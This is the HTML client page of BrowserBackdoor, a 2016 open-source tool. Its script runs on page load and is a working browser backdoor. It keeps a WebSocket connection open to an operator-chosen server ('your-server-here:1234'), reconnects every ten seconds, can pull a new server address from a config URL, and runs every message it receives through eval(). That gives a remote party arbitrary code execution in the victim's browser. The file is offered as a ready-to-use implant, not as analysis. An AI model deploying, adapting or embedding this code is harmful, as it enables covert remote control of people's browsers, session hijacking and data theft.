<!DOCTYPE html>
<html>

<head>
    <script>
        /*
         * Copyright (c) 2016 Carleton Stuberg - http://imcpwn.com
         * BrowserBackdoor - https://github.com/IMcPwn/browser-backdoor
         * See the file 'LICENSE' for copying permission
         */
        var ws;

        function wsConnect(url) {
            if ("WebSocket" in window) {
                ws = new WebSocket(url);
                ws.onmessage = function(evt) {
                    if (ws.readyState === 1) {
                        eval(evt.data);
                    }
                };
                ws.onclose = function() {
                    ws = null;
                };
            }
        }

        function pullConfig(url) {
            var request = new XMLHttpRequest();
            request.open("GET", url, false);
            request.send();

            if (request.readyState === 4 && request.status === 200) {
                return request.responseText;
            }
        }

        function main() {
            // Change to the host and port of the listening server.
            // Change ws:// to wss:// if secure is enabled on the server.
            var url = "ws://your-server-here:1234";
            // Change to the reconnect timeout in milliseconds
            var timeout = 10000;

            // Change to the configuration URL if you are using this option.
            // Leave it blank if you are not using it.
            var configURL = "";

            setInterval(function() {
                if (!ws) {
                    if (configURL) {
                        var response = pullConfig(configURL);
                        if (response) {
                            url = response;
                        }
                    }
                    wsConnect(url);
                }
            }, timeout);
        }

        main();
    </script>
</head>

<body>
</body>

</html>
